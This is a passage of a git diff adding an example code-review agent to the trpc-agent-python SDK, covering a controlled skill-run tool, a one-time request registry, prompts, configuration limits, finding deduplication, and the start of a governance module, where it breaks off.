InMemorySessionService +from trpc_agent_sdk.skills import create_default_skill_repository +from trpc_agent_sdk.skills.tools import CopySkillStager +from trpc_agent_sdk.types import Content, Part + +from agent.prompts import AGENT_INSTRUCTION +from agent.tools import ( + AgentWorkspaceBinder, + CodeReviewSkillToolSet, + ControlledSkillRunTool, + PipelinePort, + ReviewRequestRegistry, +) + + +class AgentExecutionError(RuntimeError): + """表示 Agent 未完成规定的 Skill 工具链,错误文本仅使用固定代码。""" + + +PublicResponseObserver = Callable[[str], None] +_OPAQUE_REQUEST_ID_PATTERN = re.compile(r"review-request-[0-9a-f]{32}") +_LOGGER = logging.getLogger("code_review_agent") + + +class _AgentAssemblyModel(LLMModel): + """为 fake/dry-run 生成确定性的 skill_load → skill_run 工具调用。""" + + def __init__(self, model_name: str) -> None: + """初始化每次 review 都会重置的离线工具调用步数。""" + + super().__init__(model_name) + self._step = 0 + + def begin_review(self) -> None: + """为新的评审请求重置固定三步状态机。""" + + self._step = 0 + + @classmethod + def supported_models(cls) -> list[str]: + """声明内部固定模型名,避免注册或读取外部模型配置。""" + + return [r"code-review-agent-assembly"] + + async def _generate_async_impl( + self, + request: Any, + stream: bool = False, + ctx: Any = None, + ) -> AsyncGenerator[LlmResponse, None]: + """根据既有工具响应推进固定两步流程,不解析或接收原始评审输入。""" + + del stream, ctx + request_id = _review_request_id(request) + if self._step == 0: + self._step = 1 + yield LlmResponse( + content=Content( + parts=[ + Part.from_function_call( + name="skill_load", + args={"skill_name": "code-review", "docs": [], "include_all_docs": False}, + ) + ] + ) + ) + return + if self._step == 1: + self._step = 2 + yield LlmResponse( + content=Content( + parts=[ + Part.from_function_call( + name="skill_run", + args={"review_request_id": request_id}, + ) + ] + ) + ) + return + yield LlmResponse(content=Content(parts=[Part.from_text(text="评审已完成,结构化报告已生成。")])) + + def validate_request(self, request: Any) -> None: + """复用 SDK 基础输入验证,使组装模型的失败语义与普通模型一致。""" + + super().validate_request(request) + + +class CodeReviewAgent: + """将 SDK Agent/Skill 能力与唯一 ReviewPipeline 组合的公开入口。""" + + def __init__( + self, + *, + pipeline: PipelinePort, + skill_root: Path, + model: LLMModel | None = None, + workspace_runtime: BaseWorkspaceRuntime | None = None, + workspace_binder: AgentWorkspaceBinder | None = None, + review_deadline_seconds: float = 110.0, + ) -> None: + """组装只暴露 skill_load/skill_run 的 SkillToolSet,并保留唯一 pipeline。""" + + if review_deadline_seconds <= 0: + raise ValueError("agent_review_deadline_invalid") + self._pipeline = pipeline + self._review_deadline_seconds = float(review_deadline_seconds) + self._requests = ReviewRequestRegistry() + self.skill_repository = create_default_skill_repository( + str(skill_root), + workspace_runtime=workspace_runtime, + ) + controlled_run_tool = ControlledSkillRunTool( + pipeline=self._pipeline, + requests=self._requests, + workspace_binder=workspace_binder, + ) + self.skill_toolset = CodeReviewSkillToolSet( + repository=self.skill_repository, + controlled_run_tool=controlled_run_tool, + skill_stager=CopySkillStager(), + ) + resolved_model = model or _AgentAssemblyModel("code-review-agent-assembly") + self._model = resolved_model + self.llm_agent = LlmAgent( + name="code_review_agent", + model=resolved_model, + tools=[self.skill_toolset], + instruction=AGENT_INSTRUCTION, + skill_repository=self.skill_repository, + ) + self.agent_run_count = 0 + self.last_tool_trace: tuple[str, ...] = () + self.last_prompt = "" + + def review( + self, + *, + user_instruction: str | None = None, + trace: TraceSink | None = None, + public_response_observer: PublicResponseObserver | None = None, + **input_options: Any, + ) -> Any: + """登记结构化输入并执行 Agent;可选观察器仅收到脱敏、截断后的公开最终文本。""" + + try: + asyncio.get_running_loop() + except RuntimeError: + pass + else: + raise AgentExecutionError("agent_sync_api_requires_no_running_loop") + request_id = self._requests.register(input_options, trace=trace) + emit_trace( + trace, + "agent.turn_started", + input_type=_trace_input_type(input_options), + ) + if isinstance(self._model, _AgentAssemblyModel): + self._model.begin_review() + request_payload = { + "operation": "controlled_code_review", + "review_request_id": request_id, + "input_kinds": sorted(name for name, value in input_options.items() if value is not None), + } + if user_instruction: + request_payload["user_request"] = user_instruction + prompt = json.dumps( + request_payload, + ensure_ascii=False, + sort_keys=True, + ) + self.last_prompt = prompt + try: + try: + asyncio.run( + asyncio.wait_for( + self._run_sdk_agent( + prompt, + request_id, + trace, + public_response_observer, + ), + timeout=self._review_deadline_seconds, + ) + ) + except asyncio.TimeoutError as exc: + raise AgentExecutionError("agent_review_deadline_exceeded") from exc + result, error = self._requests.outcome(request_id) + if error: + raise AgentExecutionError(error) + if self.last_tool_trace != ("skill_load", "skill_run"): + raise AgentExecutionError("skill_tool_sequence_invalid") + if result is None: + raise AgentExecutionError("skill_run_not_completed") + emit_trace(trace, "agent.turn_completed", status=_result_status(result)) + return result + finally: + self._requests.discard(request_id) + + async def _run_sdk_agent( + self, + prompt: str, + request_id: str, + trace: TraceSink | None, + public_response_observer: PublicResponseObserver | None, + ) -> None: + """执行无原始代码的 Agent 回合,记录工具顺序并可选转交安全的公开最终文本。""" + + service = InMemorySessionService() + runner = Runner( + app_name="code_review_agent", + agent=self.llm_agent, + session_service=service, + enable_post_turn_processing=False, + ) + tool_trace: list[str] = [] + try: + message = Content(parts=[Part.from_text(text=prompt)]) + async for event in runner.run_async( + user_id="code_review", + session_id=request_id, + new_message=message, + ): + if event.content is None: + continue + for part in event.content.parts: + if part.function_call: + tool_trace.append(part.function_call.name) + if len(tool_trace) > 2: + raise AgentExecutionError("agent_tool_call_limit_exceeded") + _LOGGER.info("Agent tool call: %s", part.function_call.name) + emit_trace( + trace, + "agent.tool_call", + tool=part.function_call.name, + ) + elif part.function_response: + _LOGGER.info("Agent tool response: %s", _response_tool_name(part.function_response)) + emit_trace( + trace, + "agent.tool_response", + tool=_response_tool_name(part.function_response), + ) + elif part.text: + _notify_public_response_observer(public_response_observer, part.text) + self.agent_run_count += 1 + finally: + self.last_tool_trace = tuple(tool_trace) + await runner.close() + + +def create_review_agent( + *, + pipeline: PipelinePort, + skill_root: Path, + model: LLMModel | None = None, + workspace_runtime: BaseWorkspaceRuntime | None = None, + workspace_binder: AgentWorkspaceBinder | None = None, + review_deadline_seconds: float = 110.0, +) -> CodeReviewAgent: + """构造真实调用受控 Skill 工具链的代码评审 Agent。""" + + return CodeReviewAgent( + pipeline=pipeline, + skill_root=skill_root, + model=model, + workspace_runtime=workspace_runtime, + workspace_binder=workspace_binder, + review_deadline_seconds=review_deadline_seconds, + ) + + +def _review_request_id(request: Any) -> str: + """从宿主安全 JSON 中读取 request id,忽略其他模型上下文。""" + + for content in request.contents: + for part in content.parts: + if not part.text: + continue + try: + payload = json.loads(part.text) + except (TypeError, ValueError): + continue + request_id = payload.get("review_request_id") if isinstance(payload, dict) else None + if isinstance(request_id, str) and request_id: + return request_id + return "review-request-invalid" + + +def _trace_input_type(input_options: dict[str, Any]) -> str: + """将受控输入键映射为安全枚举,禁止 trace 读取路径或载荷。""" + + for name in ("fixture", "diff_file", "repo_path", "files"): + if input_options.get(name) is not None: + return name.removesuffix("_file").removesuffix("_path") + return "unknown" + + +def _response_tool_name(response: Any) -> str: + """仅从 SDK 工具响应提取声明名称,缺失时使用固定占位符。""" + + name = getattr(response, "name", "tool") + return name if isinstance(name, str) else "tool" + + +def _result_status(result: Any) -> str: + """兼容真实 PipelineResult 与测试替身的状态字段,避免 trace 改变既有端口。""" + + if isinstance(result, dict): + status = result.get("status", "completed") + else: + status = getattr(result, "status", "completed") + return status if isinstance(status, str) else "completed" + + +def _notify_public_response_observer( + observer: PublicResponseObserver | None, + text: str, +) -> None: + """向显式诊断观察器转交模型公开文本,并移除凭据、一次性标识及超长内容。""" + + if observer is None: + return + safe_text = _OPAQUE_REQUEST_ID_PATTERN.sub("[REDACTED:request_id]", redact_text(text)).strip() + if not safe_text: + return + try: + observer(safe_text[:1000]) + except Exception: + return + + +__all__ = ["AgentExecutionError", "CodeReviewAgent", "create_review_agent"] diff --git a/examples/skills_code_review_agent/agent/prompts.py b/examples/skills_code_review_agent/agent/prompts.py new file mode 100644 index 000000000..9b06675d0 --- /dev/null +++ b/examples/skills_code_review_agent/agent/prompts.py @@ -0,0 +1,21 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Prompts used by the optional report-enhancement layer.""" + +AGENT_INSTRUCTION = """你是自动代码评审 Agent,只能按以下顺序处理宿主已经登记的评审请求: +1. 调用 skill_load,skill_name 必须是 code-review;不得加载其他 Skill。 +2. skill_load 成功后,调用 skill_run,并原样使用宿主消息中的 review_request_id。 +3. 不得向 skill_run 提供 command、路径、环境变量、diff 或代码;这些参数由宿主 manifest 和 Filter 决定。 +4. 收到 skill_run 的脱敏计数后,只说明评审是否完成;不得猜测或补充 finding。 +每次请求只能调用一次 skill_load 和一次 skill_run。""" + +ENHANCEMENT_INSTRUCTION = """只增强已脱敏代码评审报告的修复建议、摘要和人工复核提示。 +不得新增、删除、合并或重新分级 finding;不得请求原始 diff、代码、环境变量或凭据。""" + +__all__ = ["AGENT_INSTRUCTION", "ENHANCEMENT_INSTRUCTION"] diff --git a/examples/skills_code_review_agent/agent/tools.py b/examples/skills_code_review_agent/agent/tools.py new file mode 100644 index 000000000..94a488783 --- /dev/null +++ b/examples/skills_code_review_agent/agent/tools.py @@ -0,0 +1,290 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""受控 code-review Skill 工具和一次性评审请求注册表。""" + +from __future__ import annotations + +import asyncio +from contextlib import AbstractContextManager +from dataclasses import dataclass +import threading +import uuid +from typing import Any, Protocol + +from code_review.trace import TraceSink, emit_trace +from trpc_agent_sdk.context import InvocationContext +from trpc_agent_sdk.skills import SkillToolSet, loaded_state_key +from trpc_agent_sdk.tools import BaseTool +from trpc_agent_sdk.types import FunctionDeclaration, Schema, Type + + +_SKILL_NAME = "code-review" + + +class PipelinePort(Protocol): + """定义受控 skill_run 唯一允许委托的 ReviewPipeline 接口。""" + + def run(self, **input_options: Any) -> Any: + """执行唯一评审链路并返回 canonical pipeline 结果。""" + + +class AgentWorkspaceBinder(Protocol): + """定义 Agent skill_load workspace 绑定到 pipeline sandbox 的安全接口。""" + + def bind_agent_workspace( + self, + workspace_id: str, + context: InvocationContext, + ) -> AbstractContextManager[None]: + """在当前 skill_run 生命周期内复用已加载 Skill 的隔离 workspace。""" + + +@dataclass +class _PendingReview: + """保存一次只能消费一次的结构化评审输入及其执行结果。""" + + input_options: dict[str, Any] + result: Any = None + error: str = "" + consumed: bool = False + trace: TraceSink | None = None + + +class ReviewRequestRegistry: + """用不可预测标识隔离模型与原始评审输入,并记录工具执行结果。""" + + def __init__(self) -> None: + """初始化进程内请求表和互斥锁。""" + + self._requests: dict[str, _PendingReview] = {} + self._lock = threading.Lock() + + def register( + self, + input_options: dict[str, Any], + *, + trace: TraceSink | None = None, + ) -> str: + """登记结构化输入并返回不含输入内容的一次性 request id。""" + + request_id = f"review-request-{uuid.uuid4().hex}" + with self._lock: + self._requests[request_id] = _PendingReview( + input_options=dict(input_options), + trace=trace, + ) + return request_id + + def consume(self, request_id: str) -> dict[str, Any] | None: + """原子消费请求;未知或重复 id 返回空值且不产生 pipeline 副作用。""" + + with self._lock: + pending = self._requests.get(request_id) + if pending is None or pending.consumed: + return None + pending.consumed = True + return dict(pending.input_options) + + def complete(self, request_id: str, result: Any) -> None: + """保存 pipeline 结果,供 Agent 回合结束后返回给调用方。""" + + with self._lock: + pending = self._requests.get(request_id) + if pending is not None: + pending.result = result + + def fail(self, request_id: str, error: str) -> None: + """记录脱敏错误代码,禁止在工具响应中携带原始异常文本。""" + + with self._lock: + pending = self._requests.get(request_id) + if pending is not None: + pending.error = error + + def outcome(self, request_id: str) -> tuple[Any, str]: + """返回结果和脱敏错误代码;请求不存在时统一视为无效。""" + + with self._lock: + pending = self._requests.get(request_id) + if pending is None: + return None, "review_request_invalid" + return pending.result, pending.error + + def trace_for(self, request_id: str) -> TraceSink | None: + """返回本次请求的短生命周期 trace sink,不暴露原始输入。""" + + with self._lock: + pending = self._requests.get(request_id) + return None if pending is None else pending.trace + + def discard(self, request_id: str) -> None: + """删除本次短生命周期请求,避免结构化输入在 Agent 回合后滞留。""" + + with self._lock: + self._requests.pop(request_id, None) + + +class ControlledSkillRunTool(BaseTool): + """只接受 request id 的 skill_run,实际执行计划由宿主 pipeline 和 manifest 决定。""" + + def __init__( + self, + *, + pipeline: PipelinePort, + requests: ReviewRequestRegistry, + workspace_binder: AgentWorkspaceBinder | None = None, + ) -> None: + """绑定唯一 pipeline 与请求注册表,不接受模型提供 command、路径或环境。""" + + super().__init__( + name="skill_run", + description=( + "Run the already loaded code-review Skill for one host-approved review request. " + "Only review_request_id is accepted; commands, paths, environment and code are host controlled." + ), + ) + self._pipeline = pipeline + self._requests = requests + self._workspace_binder = workspace_binder + + def _get_declaration(self) -> FunctionDeclaration: + """仅向模型声明一次性 request id,避免暴露通用 skill_run 命令面。""" + + return FunctionDeclaration( + name="skill_run", + description=self.description, + parameters=Schema( + type=Type.OBJECT, + required=["review_request_id"], + properties={ + "review_request_id": Schema( + type=Type.STRING, + description="Opaque one-time review request id supplied by the host.", + ) + }, + ), + response=Schema( + type=Type.OBJECT, + description="Sanitized task status and finding bucket counts.", + ), + ) + + async def _run_async_impl( + self, + *, + tool_context: InvocationContext, + args: dict[str, Any], + ) -> dict[str, Any]: + """验证 Skill 已加载和 request id 后,在线程中委托同步 ReviewPipeline。""" + + request_id = args.get("review_request_id") + if not isinstance(request_id, str) or not request_id: + return {"status": "blocked", "error": "review_request_invalid"} + if not _skill_is_loaded(tool_context): + self._requests.fail(request_id, "skill_load_required") + return {"status": "blocked", "error": "skill_load_required"} + input_options = self._requests.consume(request_id) + if input_options is None: + self._requests.fail(request_id, "review_request_invalid_or_reused") + return {"status": "blocked", "error": "review_request_invalid_or_reused"} + trace = self._requests.trace_for(request_id) + emit_trace(trace, "skill_run.started", tool="skill_run") + try: + pipeline_options = { + **input_options, + "entrypoint_tool_call_count": 2, + } + if trace is not None: + pipeline_options["trace"] = trace + if self._workspace_binder is None: + result = await asyncio.to_thread(self._pipeline.run, **pipeline_options) + else: + with self._workspace_binder.bind_agent_workspace( + tool_context.session_id, + tool_context, + ): + result = await asyncio.to_thread(self._pipeline.run, **pipeline_options) + except Exception: + self._requests.fail(request_id, "review_pipeline_failed") + return {"status": "failed", "error": "review_pipeline_failed"} + self._requests.complete(request_id, result) + emit_trace(trace, "skill_run.completed", status=_safe_trace_status(result)) + return _safe_result_summary(result) + + +class CodeReviewSkillToolSet(SkillToolSet): + """将 SDK SkillToolSet 收窄为 skill_load 和受控 skill_run 两个工具。""" + + def __init__( + self, + *, + controlled_run_tool: ControlledSkillRunTool, + **kwargs: Any, + ) -> None: + """初始化 SDK ToolSet,并保存替换通用命令面的受控运行工具。""" + + super().__init__(**kwargs) + self._controlled_run_tool = controlled_run_tool + + async def get_tools( + self, + invocation_context: InvocationContext | None = None, + ) -> list[BaseTool]: + """只暴露 SDK skill_load 与本项目受控 skill_run,隐藏其他 workspace 工具。""" + + tools = await super().get_tools(invocation_context) + selected: list[BaseTool] = [] + for tool in tools: + if tool.name == "skill_load": + selected.append(tool) + elif tool.name == "skill_run": + selected.append(self._controlled_run_tool) + return selected + + +def _skill_is_loaded(context: InvocationContext) -> bool: + """检查当前 Agent 会话的 code-review Skill 加载状态。""" + + key = loaded_state_key(context, _SKILL_NAME) + if context.actions.state_delta.get(key): + return True + return bool(context.session_state.get(key)) + + +def _safe_result_summary(result: Any) -> dict[str, Any]: + """仅返回状态和桶计数,禁止把 evidence、路径或原始输入反馈给模型。""" + + report = getattr(result, "report", result) + if not isinstance(report, dict): + report = {} + status = getattr(result, "status", report.get("status", "completed")) + task_id = getattr(result, "task_id", report.get("task_id", "")) + return { + "status": status if isinstance(status, str) else "completed", + "task_id": task_id if isinstance(task_id, str) else "", + "finding_count": len(report.get("findings", ())), + "needs_human_review_count": len(report.get("needs_human_review", ())), + "warning_count": len(report.get("warnings", ())), + } + + +def _safe_trace_status(result: Any) -> str: + """从 pipeline 结果提取固定状态码,避免 trace 读取报告正文。""" + + status = getattr(result, "status", "completed") + return status if isinstance(status, str) else "completed" + + +__all__ = [ + "CodeReviewSkillToolSet", + "ControlledSkillRunTool", + "AgentWorkspaceBinder", + "PipelinePort", + "ReviewRequestRegistry", +] diff --git a/examples/skills_code_review_agent/code_review/__init__.py b/examples/skills_code_review_agent/code_review/__init__.py new file mode 100644 index 000000000..4b03a3d95 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/__init__.py @@ -0,0 +1,13 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Application layer for the automatic code-review Agent example.""" + +from .config import ReviewConfig + +__all__ = ["ReviewConfig"] diff --git a/examples/skills_code_review_agent/code_review/config.py b/examples/skills_code_review_agent/code_review/config.py new file mode 100644 index 000000000..a1ff1eb73 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/config.py @@ -0,0 +1,127 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Configuration contract for the automatic code-review Agent.""" + +from __future__ import annotations + +import hashlib +import json +import os +from dataclasses import asdict, dataclass, fields +from typing import ClassVar, Mapping + + +@dataclass(frozen=True) +class ReviewConfig: + """Immutable limits and version identifiers for one review. + + Environment overrides use the ``CODE_REVIEW_`` prefix followed by the + upper-case field name, for example ``CODE_REVIEW_MAX_INPUT_FILES``. + """ + + ENV_PREFIX: ClassVar[str] = "CODE_REVIEW_" + + schema_version: str = "1.0.0" + rule_pack_version: str = "1.0.0" + + max_input_file_bytes: int = 1024 * 1024 + max_input_files: int = 500 + max_input_bytes: int = 10 * 1024 * 1024 + max_diff_lines: int = 50_000 + + max_sandbox_runs: int = 10 + per_run_timeout_seconds: int = 30 + sandbox_time_budget_seconds: int = 90 + review_deadline_seconds: int = 110 + max_output_bytes_per_run: int = 1024 * 1024 + max_output_bytes_per_review: int = 2 * 1024 * 1024 + network_policy: str = "deny" + + def __post_init__(self) -> None: + """校验评审输入、沙箱和输出预算均满足锁定安全约束。""" + + positive_integer_fields = ( + "max_input_file_bytes", + "max_input_files", + "max_input_bytes", + "max_diff_lines", + "max_sandbox_runs", + "per_run_timeout_seconds", + "sandbox_time_budget_seconds", + "review_deadline_seconds", + "max_output_bytes_per_run", + "max_output_bytes_per_review", + ) + for name in positive_integer_fields: + if getattr(self, name) <= 0: + raise ValueError(f"{name} must be greater than zero") + + if self.max_input_bytes < self.max_input_file_bytes: + raise ValueError("max_input_bytes must be at least max_input_file_bytes") + if self.review_deadline_seconds < self.sandbox_time_budget_seconds: + raise ValueError("review_deadline_seconds must be at least sandbox_time_budget_seconds") + if self.max_output_bytes_per_review < self.max_output_bytes_per_run: + raise ValueError("max_output_bytes_per_review must be at least max_output_bytes_per_run") + if self.network_policy != "deny": + raise ValueError("network_policy must be 'deny' for the current rule pack") + if not self.schema_version.strip(): + raise ValueError("schema_version must not be empty") + if not self.rule_pack_version.strip(): + raise ValueError("rule_pack_version must not be empty") + + @classmethod + def from_env( + cls, + environ: Mapping[str, str] | None = None, + *, + prefix: str = ENV_PREFIX, + ) -> "ReviewConfig": + """从受控环境变量映射构造配置,并拒绝格式错误的限制值。 + + Unknown variables are ignored. Integer fields are parsed strictly so + malformed limits fail before staging or sandbox execution. + """ + + source = os.environ if environ is None else environ + overrides: dict[str, object] = {} + + for field in fields(cls): + environment_name = f"{prefix}{field.name.upper()}" + if environment_name not in source: + continue + + raw_value = source[environment_name] + if isinstance(field.default, int): + try: + overrides[field.name] = int(raw_value) + except (TypeError, ValueError) as exc: + raise ValueError(f"{environment_name} must be an integer") from exc + else: + overrides[field.name] = str(raw_value) + + return cls(**overrides) + + @property + def config_digest(self) -> str: + """返回规范化配置载荷的 SHA-256 摘要。""" + + canonical = json.dumps( + asdict(self), + ensure_ascii=True, + separators=(",", ":"), + sort_keys=True, + ).encode("utf-8") + return hashlib.sha256(canonical).hexdigest() + + def to_dict(self) -> dict[str, object]: + """返回可安全持久化的配置快照及其摘要。""" + + snapshot: dict[str, object] = asdict(self) + snapshot["config_digest"] = self.config_digest + return snapshot diff --git a/examples/skills_code_review_agent/code_review/dedup.py b/examples/skills_code_review_agent/code_review/dedup.py new file mode 100644 index 000000000..f61da35dc --- /dev/null +++ b/examples/skills_code_review_agent/code_review/dedup.py @@ -0,0 +1,320 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Stable finding deduplication and confidence buckets.""" + +from __future__ import annotations + +import math +import json +from collections import defaultdict +from collections.abc import Iterable, Mapping +from copy import deepcopy +from dataclasses import dataclass +from enum import Enum +from typing import Any + +from code_review.redaction import redact_data + + +class FindingBucket(str, Enum): + """Confidence-owned finding destinations.""" + + FINDINGS = "findings" + NEEDS_HUMAN_REVIEW = "needs_human_review" + SUPPRESSED = "suppressed" + + +_SEVERITY_RANK = { + "critical": 5, + "high": 4, + "medium": 3, + "low": 2, + "info": 1, +} +_SOURCES = {"rule-engine", "ast", "heuristic"} +_REQUIRED_FINDING_FIELDS = { + "severity", + "category", + "file", + "line", + "title", + "evidence", + "recommendation", + "confidence", + "source", + "rule_id", +} + + +@dataclass(frozen=True) +class BucketedFindings: + """Stable four-bucket result for pipeline, report, and persistence layers.""" + + findings: tuple[dict[str, Any], ...] + needs_human_review: tuple[dict[str, Any], ...] + suppressed: tuple[dict[str, Any], ...] + warnings: tuple[dict[str, str], ...] + + def to_dict(self) -> dict[str, list[dict[str, Any]]]: + """返回与内部状态隔离、可 JSON 序列化的规范化分桶结果。""" + + return { + "findings": deepcopy(list(self.findings)), + "needs_human_review": deepcopy(list(self.needs_human_review)), + "suppressed": deepcopy(list(self.suppressed)), + "warnings": deepcopy(list(self.warnings)), + } + + +def bucket_for_confidence(confidence: float) -> FindingBucket: + """按锁定置信度边界将候选项映射到互斥分桶。""" + + if isinstance(confidence, bool) or not isinstance(confidence, (int, float)): + raise ValueError("confidence must be a number between 0 and 1") + normalized = float(confidence) + if not math.isfinite(normalized) or not 0.0 <= normalized <= 1.0: + raise ValueError("confidence must be a number between 0 and 1") + if normalized >= 0.80: + return FindingBucket.FINDINGS + if normalized >= 0.50: + return FindingBucket.NEEDS_HUMAN_REVIEW + return FindingBucket.SUPPRESSED + + +def _string_field( + candidate: Mapping[str, Any], + name: str, + *, + allow_empty: bool = False, +) -> str: + """读取并校验候选 finding 中指定的字符串字段。""" + + value = candidate[name] + if not isinstance(value, str): + raise ValueError(f"{name} must be a string") + if not allow_empty and not value.strip(): + raise ValueError(f"{name} must not be empty") + return value + + +def _normalize_also_matched(extra: Mapping[str, Any]) -> set[str]: + """规范化去重合并后的附加规则标识集合。""" + + value = extra.get("also_matched", ()) + if not isinstance(value, (list, tuple, set, frozenset)): + raise ValueError("extra.also_matched must be a sequence of rule ids") + rule_ids: set[str] = set() + for item in value: + if not isinstance(item, str) or not item.strip(): + raise ValueError("extra.also_matched must contain rule ids") + rule_ids.add(item) + return rule_ids + + +def _normalize_candidate(candidate: Mapping[str, Any]) -> dict[str, Any]: + """脱敏并校验单个候选 finding,使其符合内部字段契约。""" + + missing = sorted(_REQUIRED_FINDING_FIELDS - set(candidate)) + if missing: + raise ValueError(f"finding is missing required fields: {missing}") + + safe = redact_data(candidate) + severity = _string_field(safe, "severity") + if severity not in _SEVERITY_RANK: + raise ValueError("severity is invalid") + source = _string_field(safe, "source") + if source not in _SOURCES: + raise ValueError("source is invalid") + confidence = safe["confidence"] + bucket_for_confidence(confidence) + + line = safe["line"] + if isinstance(line, bool) or not isinstance(line, int) or line < 1: + raise ValueError("line must identify a real source line") + + line_side = safe.get("line_side", "new") + if line_side not in {"new", "old"}: + raise ValueError("line_side is invalid") + + raw_extra = safe.get("extra", {}) + if not isinstance(raw_extra, Mapping): + raise ValueError("extra must be an object") + extra = dict(raw_extra) + extra["also_matched"] = sorted(_normalize_also_matched(extra)) + try: + json.dumps(extra, ensure_ascii=False, sort_keys=True) + except (TypeError, ValueError) as exc: + raise ValueError("extra must contain JSON-serializable values") from exc + + return { + "severity": severity, + "category": _string_field(safe, "category"), + "file": _string_field(safe, "file"), + "line": line, + "title": _string_field(safe, "title"), + "evidence": _string_field(safe, "evidence", allow_empty=True), + "recommendation": _string_field(safe, "recommendation"), + "confidence": float(confidence), + "source": source, + "line_side": line_side, + "rule_id": _string_field(safe, "rule_id"), + "extra": extra, + } + + +def _evidence_specificity(evidence: str) -> tuple[int, int, int]: + """返回证据具体程度的稳定排序代理值。""" + + normalized = " ".join(evidence.split()) + non_whitespace_length = sum(not character.isspace() for character in evidence) + return non_whitespace_length, len(normalized.split()), len(normalized) + + +def _primary_key(candidate: Mapping[str, Any]) -> tuple[Any, ...]: + """构造同一去重组内选择主 finding 的稳定优先级键。""" + + specificity = _evidence_specificity(candidate["evidence"]) + return ( + -_SEVERITY_RANK[candidate["severity"]], + -candidate["confidence"], + -specificity[0], + -specificity[1], + -specificity[2], + candidate["rule_id"], + candidate["source"], + candidate["title"], + candidate["recommendation"], + candidate["line_side"], + json.dumps( + candidate, + ensure_ascii=False, + separators=(",", ":"), + sort_keys=True, + ), + ) + + +def _output_key(candidate: Mapping[str, Any]) -> tuple[Any, ...]: + """构造最终报告中 finding 的稳定输出排序键。""" + + return ( + -_SEVERITY_RANK[candidate["severity"]], + candidate["file"], + candidate["line"], + candidate["category"], + candidate["rule_id"], + ) + + +def _dedup_key(candidate: Mapping[str, Any]) -> tuple[str, int, str]: + """返回规格锁定的文件、行号、类别三元去重键。""" + + return candidate["file"], candidate["line"], candidate["category"] + + +def deduplicate_findings( + candidates: Iterable[Mapping[str, Any]], +) -> tuple[dict[str, Any], ...]: + """按文件、行号、类别三元组稳定去重候选 finding。""" + + groups: dict[ + tuple[str, int, str], + list[dict[str, Any]], + ] = defaultdict(list) + for candidate in candidates: + normalized = _normalize_candidate(candidate) + groups[_dedup_key(normalized)].append(normalized) + + findings: list[dict[str, Any]] = [] + for group_key in sorted(groups): + group = sorted(groups[group_key], key=_primary_key) + primary = deepcopy(group[0]) + primary_rule_id = primary["rule_id"] + + also_matched: set[str] = set() + for candidate in group: + also_matched.update(_normalize_also_matched(candidate["extra"])) + if candidate["rule_id"] != primary_rule_id: + also_matched.add(candidate["rule_id"]) + also_matched.discard(primary_rule_id) + + extra = dict(primary["extra"]) + extra["also_matched"] = sorted(also_matched) + primary["extra"] = extra + primary["bucket"] = bucket_for_confidence( + primary["confidence"] + ).value + primary["dedup_key"] = ( + f"{primary['file']}:{primary['line']}:{primary['category']}" + ) + findings.append(primary) + + return tuple(sorted(findings, key=_output_key)) + + +def _normalize_warning(warning: Mapping[str, Any]) -> dict[str, str]: + """脱敏并校验运行或治理 warning 的最小字段。""" + + if "code" not in warning or "message" not in warning: + raise ValueError("runtime warning requires code and message") + safe = redact_data(warning) + code = _string_field(safe, "code") + message = _string_field(safe, "message") + normalized = { + "code": code, + "message": message, + } + if "stage" in safe: + normalized["stage"] = _string_field(safe, "stage") + return normalized + + +def route_findings( + candidates: Iterable[Mapping[str, Any]], + *, + warnings: Iterable[Mapping[str, Any]] = (), +) -> BucketedFindings: + """去重候选项后按置信度分桶,并独立保留运行告警。""" + + buckets: dict[FindingBucket, list[dict[str, Any]]] = { + FindingBucket.FINDINGS: [], + FindingBucket.NEEDS_HUMAN_REVIEW: [], + FindingBucket.SUPPRESSED: [], + } + for finding in deduplicate_findings(candidates): + bucket = FindingBucket(finding["bucket"]) + buckets[bucket].append(finding) + + normalized_warnings = tuple( + sorted( + (_normalize_warning(warning) for warning in warnings), + key=lambda warning: ( + warning["code"], + warning.get("stage", ""), + warning["message"], + ), + ) + ) + return BucketedFindings( + findings=tuple(buckets[FindingBucket.FINDINGS]), + needs_human_review=tuple( + buckets[FindingBucket.NEEDS_HUMAN_REVIEW] + ), + suppressed=tuple(buckets[FindingBucket.SUPPRESSED]), + warnings=normalized_warnings, + ) + + +__all__ = [ + "BucketedFindings", + "FindingBucket", + "bucket_for_confidence", + "deduplicate_findings", + "route_findings", +] diff --git a/examples/skills_code_review_agent/code_review/governance.py b/examples/skills_code_review_agent/code_review/governance.py new file mode 100644 index 000000000..92da9a1c1 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/governance.py @@ -0,0 +1,506 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Manifest-driven, fail-closed governance for sandbox Skill execution.""" + +from __future__ import annotations + +import asyncio +import json +import re +from collections.abc import Callable, Mapping, Sequence +from dataclasses import dataclass, field +from enum import Enum +from pathlib import Path +from typing import Any + +from trpc_agent_sdk.context import new_agent_context +from trpc_agent_sdk.filter import BaseFilter, FilterResult, FilterType, run_filters + +from code_review.config import ReviewConfig +from code_review.redaction import contains_plaintext_secret +from code_review.skill_integrity import ( + canonical_source_sha256, + parse_integrity_files, + safe_script_relative_path, +) + + +_ALLOWED_ENVIRONMENT_NAMES = frozenset( + { + "LANG", + "LC_ALL", + "PYTHONUNBUFFERED", + "PATH", + "PYTHONPATH", + "WORKSPACE_DIR", + "SKILLS_DIR", + "WORK_DIR", + "OUTPUT_DIR", + 